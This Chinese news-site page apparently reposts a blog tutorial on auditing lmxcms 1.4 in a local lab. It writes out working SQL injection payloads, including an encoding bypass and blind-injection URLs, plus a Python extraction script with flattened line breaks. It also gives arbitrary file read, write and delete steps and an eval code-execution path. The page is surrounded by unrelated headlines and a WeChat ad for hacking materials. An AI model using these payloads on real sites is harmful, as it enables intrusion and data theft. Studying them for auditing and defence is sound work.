最新要闻
- 【天天播资讯】0功耗电子纸数字海报问世:不换画面不耗电
- 今日视点:30年大品牌 金邦2TB SSD到手549元:长寿TLC+PCIe 4.0性能
- 中国高铁首次出海!雅万高铁全线轨道铺通:最高时速350公里
- 每日报道:比亚迪汽车毛利率25.9%!李想夸赞:比特斯拉强太多
- 全球速递!俄亥俄河一载1400吨有毒物质驳船沉没:尚不清楚是否发生泄漏
- 世界报道:太极股份:截止2023年3月20日,公司的股东户数为36798户
- 楼市回暖背后:多城二手房在售量持续增加
- 环球新消息丨vivo将整合旗下iQOO手机:开启降本增效
- 王传福:比亚迪目标年底成为中国最大汽车制造商
- 全球热讯:全球最大游戏展危险了!世嘉、腾讯均宣布不参加本届E3
- 绿巨人前女友15年后回归漫威!《美国队长4》新剧照曝光:黑人美队现身
- 环球即时看!联名高达!ROG游戏手机7系列来了:二代骁龙8+6000mAh电池
- 全球视讯!中国代表敦促个别国家立即解除对叙利亚单边制裁
- 天天简讯:四方达(300179)3月28日主力资金净卖出861.62万元
- 微信QQ出现功能异常 官方紧急修复:微信支付等功能已恢复
- 天天速看:男子陵园祭祖车雷达显示全是人 网友:啥车?我想试试
手机
iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?
- 警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案
- 男子被关545天申国赔:获赔18万多 驳回精神抚慰金
- 3天内26名本土感染者,辽宁确诊人数已超安徽
- 广西柳州一男子因纠纷杀害三人后自首
- 洱海坠机4名机组人员被批准为烈士 数千干部群众悼念
家电
lmxcms代码审计学习
前言
最近学习php代码审计,lmxcms很适合去学习代码审计,因为比较简单。
环境搭建
源码下载地址http://www.lmxcms.com/phpstudy+phpstorm,apache2.4.39+MySQL5.7.26,php5.3.29
网站首页
(资料图)
后台管理
搭建成功
框架配置
入口文件
config.inc.php配置文件
run.inc.php 初始化文件
入口
在Action.class.php中找到调用方法的
可以看出m参数是类名前缀,开头大写,a参数是方法名
那么我就知道该框架处理请求的格式如下
http://127.0.0.1/lmxcms1.4/admin.php?m=xx类名&a=xx方法
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图 ② 60+网安经典常用工具包 ③ 100+SRC漏洞分析报告 ④ 150+网安攻防实战技术电子书 ⑤ 最权威CISSP 认证考试指南+题库 ⑥ 超1800页CTF实战技巧手册 ⑦ 最新网安大厂面试题合集(含答案) ⑧ APP客户端安全检测指南(安卓+IOS)
后台SQL注入
在bookaction.class.php
在这里可以看到这个id是可控的,于是进入getReply函数里看看
发现这里执行了SQL语句
在后面写个echo$sql方便看
因为正常输入没回显,采取报错注入
admin.php?m=Book&a=reply&id=1) and updatexml(0,concat(0x7e,user()),1)--+
前台SQL注入
TagsAction.class.php中
看不出来$data["name"]的值是如何来的,查看的p的方法
可以看到type=2的时候为GET传递,说明我们可以控制这个参数,继续看能不能利用
查看getNameData的声明
查看oneModel
查看oneDB
接着在这上面写个echo $sql;
/index.php/?m=Tags&name=1
会跳404,但echo 出来了sql语句,说明这个过程是有sql语句执行的
这个时候继续利用报错函数执行试试
" and updatexml(0,concat(0x7e,user()),1) --+
发现是空白,连报错都没有,其实仔细看之前common.php里,有filter_sql方法
但是这里写了一个url解码的函数,且这个语句执行是在sql语句过滤执行的后面,那么我尝试二次编码注入
执行成功,但在1.41版本的修复了这个漏洞
这里用代码对比下可以明显看出来
前台留言SQL注入
在前台留言这里
随便提交一个,提交成功并没有显示,进后台看看
需要审核才能显示
审查源码
在BookAction.class.php中,发现POST传setbook后会进入checkdata函数
里面是验证前台数据并且过滤了html代码并且有filter_sql
过滤了sql语句常用函数,在这里就不能用二次编码绕过了,因为这里没写url解码函数
查看addmodel
查看addDB
即使我们有二次注入的思路,但这个需要管理员审核才能看到回显
随便测试一个看看
在数据库中显示为
可以看出这个ischeck是判断是否显示在前台的,那么我们进行注入,把ischeck修改为1就可以回显在前端了
POST提交
setbook=1&name=1&content=1&time,ischeck)VALUES((select/**/version()),"1","","","127.0.0.1","1679301152","1")#=1
前台布尔盲注
searchaction.class.php
serchmodel
countModel
countDB
在这里写入echo $sql;方便尝试注入
利用这些参数进行注入
可以利用tuijian这个参数注入,或者也可以用renmen看构造问题
SELECT count(1) FROM lmx_product_data WHERE time > 1647768137 ANDremen=1 AND (title like "%a%") ORDER BY id desc
执行如上sql语句,这里同样也进行了filter_sql函数过滤,且没有url编码不能向第一个那样二次编码绕过,具体可在p方法里找
index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0))--+
GET/lmxcms1.4/index.php?m=search&keywords=b&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6,1,0));%23
这里0x6c对应的是l
回显长度为8425,随便改个参数,返回包长度变为5403
用remen参数回显为8422
写一个简单的python脚本就可以测出值
import requests\flag=""\url="http://127.0.0.1/lmxcms1.4/index.php?m=search&a=index&keywords=a&mid=1&remen=1%20or%20(if(ascii(substr(database(),{},1))={},1,0))%23"\for i in range(1,7):\for j in range(65,122):\res=requests.get(url.format(i,hex(j)))\if len(res.text)>7000:\flag=flag+chr(j)\print(flag)\else:\print(url)\print(flag)
任意文件读取&任意文件写入
文件读取函数freadfopenfilefile_get_contents搜索file_get_contents然后找file_get_contents函数和参数代码段,
在file.class.php getcon方法里
file_get_contents具有读取文件内容的功能,这里$path变量我们要看怎么来的,于是查看getcon的用法
在TemplateAction.class.php中调用了getcon
查看$dir变量怎么来的
该页面在admin目录下,那么进入后台根据页面名称传参调用尝试任意文件读取
lmxcms1.4/admin.php?m=Template&a=editfile
传$dir
还可以读取数据库文件
同样这里还可以进行任意文件写入
可以在这个页面直接进行修改或者写入
分别是文件名称跟内容,file_put_contents函数写入
任意文件删除
在BackdbAction.class.php中搜索unlink
这里看到filename可控,查看delone
file/back下创建一个文件测试1.txthttp://localhost/lmxcms1.4/admin.php?m=backdb&a=delbackdb&filename=1.txt
通过../../实现任意文件删除
再次访问就需要安装了
命令执行
在admin/AcquisiAction.class.php中搜索eval
可以看出$eval函数的参数$temdata是$this->model->caijiDataOne($_GET["cid"]);跟进
可以看出执行了sql语句,通过跟进ci_data_tab发现
查询的是cj_data表
在cj_data表中插入phpinfo();
lmxcms1.4/admin.php?m=Acquisi&a=showCjData&id=1&cid=1&lid=1
总结
这次是对phpmvc框架的审计的尝试,思路是从危险函数入手,寻找可控参数变量,尝试利用触发,白盒+黑盒一起尝试可能会效果更佳,感觉自己有好多地方不足,很多都是参考网上的或者别人的思路才能完成审计实现,希望能对大家有所帮助,不足之处希望大家能够批评指正。
更多靶场实验练习、网安学习资料,请点击这里>>
关键词:
lmxcms代码审计学习
【天天播资讯】0功耗电子纸数字海报问世:不换画面不耗电
今日视点:30年大品牌 金邦2TB SSD到手549元:长寿TLC+PCIe 4.0性能
中国高铁首次出海!雅万高铁全线轨道铺通:最高时速350公里
每日报道:比亚迪汽车毛利率25.9%!李想夸赞:比特斯拉强太多
全球速递!俄亥俄河一载1400吨有毒物质驳船沉没:尚不清楚是否发生泄漏
世界报道:太极股份:截止2023年3月20日,公司的股东户数为36798户
Go语言:编写一个 WebsiteRacer 的函数,用来对比请求两个 URL 来「比赛」,并返回先响应的 URL。如果两个 URL 在 10 秒内都未返回结果
全球实时:一文带你搞懂如何优化慢SQL
焦点快报!Dijkstar-And-Astar算法
用上ChatGPT的这几个功能,你的开发效率不高都难
联想y400什么时候上市的?联想y400笔记本配置
地下城与勇士龙年套装哪个好?地下城与勇士龙年套装有几个宝珠?
HTCG28什么时候上市的?HTCG28手机参数
华为C8813Q如何装sim卡?华为C8813Q手机参数
gprs套餐费是什么意思?怎么关闭GPRS套餐?
楼市回暖背后:多城二手房在售量持续增加
环球关注:编写高质量c#代码的10个建议
环球即时看!插入排序
【世界速看料】【Visual Leak Detector】配置项 StackWalkMethod
环球新消息丨vivo将整合旗下iQOO手机:开启降本增效
王传福:比亚迪目标年底成为中国最大汽车制造商
全球热讯:全球最大游戏展危险了!世嘉、腾讯均宣布不参加本届E3
绿巨人前女友15年后回归漫威!《美国队长4》新剧照曝光:黑人美队现身
环球即时看!联名高达!ROG游戏手机7系列来了:二代骁龙8+6000mAh电池
全球视讯!中国代表敦促个别国家立即解除对叙利亚单边制裁
天天微动态丨KubeVela 1.7 版本解读:接管你的已有工作负载
焦点报道:接通率维持 66% 以上,为什么火山引擎 VeDI 能让企业智能外呼不再难?
【全球快播报】《Python编程快速上手—让繁琐工作自动化》实践项目答案:第四章
天天简讯:四方达(300179)3月28日主力资金净卖出861.62万元
微信QQ出现功能异常 官方紧急修复:微信支付等功能已恢复
天天速看:男子陵园祭祖车雷达显示全是人 网友:啥车?我想试试
PS主机神作好评仅有32%!顽皮狗回应《最后生还者》PC优化翻车
全球速读:专家谈ChatGPT:或让更多人享受生活 一周只工作一天
干货分享|袋鼠云数栈离线开发平台在小文件治理上的探索实践之路
全球热讯:电池级碳酸锂价格腰斩 电动车会降价吗?专家给出结论
环球速看:魔法氛围拉满!Redmi Note 12 Turbo哈利波特版图赏
不用带手机 抬手就能付!微信支付尝试推出微信刷掌服务
天天要闻:开发者危机!微软GitHub启动裁员:印度工程师团队几乎整体裁撤
全球微头条丨同款商超6元/瓶!特仑苏牛奶大促:2.93元/盒相当于半价
讯息:2023华大新高考联盟3月联考各科试题及答案!_老高考老教材
如何隐藏Apache版本号和其它敏感信息
容器安全之 Dockerfile 安全扫描
zookeeper的Leader选举源码解析
焦点要闻:前端设计模式——享元模式
每日观察!使用NSIS打包超大型软件的几个注意事项
环球头条:【手慢无】速来占便宜!三星128GB存储卡仅需49.8元
全球热头条丨汽车雷达在无人陵园内显示全是人影:吓坏车主
985硕士男子失业半年 应聘道士35岁已超龄!做实习生都被拒:现送外卖
没污染!国内首款氢内燃机飞机成功首飞:中国自研
环球新资讯:内地特供的网游性价比神U!酷睿i7-13790F评测:游戏性能强于锐龙9 7950X
环球播报:海豚模拟器登陆Steam
全球实时:半场战报:踢疯了!梅西第38分钟戴帽 阿根廷5-0暂领先库拉索
环球热推荐:Epic独占结束!中国功夫游戏《师父》登陆Steam:139元起
【天天时快讯】Native开发过程中容易忽略的注意事项
全球快播:【国际大宗商品早报】美豆反弹收涨近2% 伊拉克库尔德地区原油出口停顿支撑油价续涨
全固态电池空间电荷层微观机理揭示
环球要闻:核心、显存砍得没法看!RTX 4060 Ti/4060要5月上市:3999元起超值?
天天播报:大作《生化危机4重制版》发售 采用Denuvo正版加密 黑客发声:准备出手破解
天天快看点丨任天堂《塞尔达传说:王国之泪》限定版Switch发布!金黄手柄太酷炫
短讯!《最后生还者》PC版多半差评
每日消息!读SQL进阶教程笔记01_CASE表达式
快讯:成年子女不能与父母在酒店住同一标间引热议 太没道理?酒店回应
Spring整合Mybatis遇到的问题(一)
有关Mongodb 在windows上安装的问题
今头条!JNI知识点总结
天天日报丨【Visual Leak Detector】配置项 ReportTo
【Visual Leak Detector】配置项 SelfTest
环球观察:4个多月第一次!Intel Arc Pro专业显卡终于有了新驱动
当前最新:小米“退钱”了:27万小米空气净化器初代用户 每人899元
全球快报:小金刚手机杀到1999元 卢伟冰喊话友商:欢迎光明磊落竞争
全球播报:人体工学椅从没想过:自己真正的对手会是汽车
天天微资讯!日本海滩惊现大量乌贼尸体 绵延200米
通讯!青石板路图片(青石板规格)
微头条丨喊老公过时了!赵丽颖唐嫣孙俪都这样称呼另一半,网友:甜炸了
项目中如何对XSS统一处理
面向对象设计原则
instanceof的使用
GPT-4救了我狗的命
【全球快播报】你敢坐吗?滴滴能打到自动驾驶汽车了
环球看点!三爱健康集团(01889)发盈喜 预计2022年度股东应占溢利同比增加约223.6%至2922万元
世界头条:用gpt4训练一个简易真人代理
全球热头条丨【Visual Leak Detector】配置项 ReportFile
环球通讯!融创百亿美元境外债务重组成功在即 持债金额超30%的债权人小组已签订重组支持协议
环球新消息丨OpenAI创始人:AI可能毁灭人类 必须开发新技术来解决
焦点速递!美亚柏科:公司将对各类 AIGC 内容的检测、AI 生成文本的检测技术及产品进行布局
聚焦:免费Midjourney AI绘画Prompt提示词平台合集
NCNN 模型推理详解及实战
基于中断的字符串动态显示
全球热推荐:[NOI1999] 生日蛋糕
绿牌将会取消?网友:走好不送
一图看懂Note 12 Turbo:性价比进行到底 16+1TB仅售2599元
一加李杰:用户不会被蒙蔽 将旗舰体验普及到底
视讯!哈迷必备!Redmi Buds 4哈利波特版图赏
首发第二代骁龙7+!Redmi Note 12 Turbo图赏
设备树的概念(四):平台设备驱动和设备树
天天最资讯丨Apache iotdb-web-workbench 认证绕过漏洞(CVE-2023-24829)
Halcon学习教程(一) 之提取十字线中心 图像分割
甲流吃退烧药不退烧怎么办_吃了一粒退烧药多久可以喂奶
环球今日报丨卢伟冰:Note系列全球销量破3.2亿 进入全球单品十强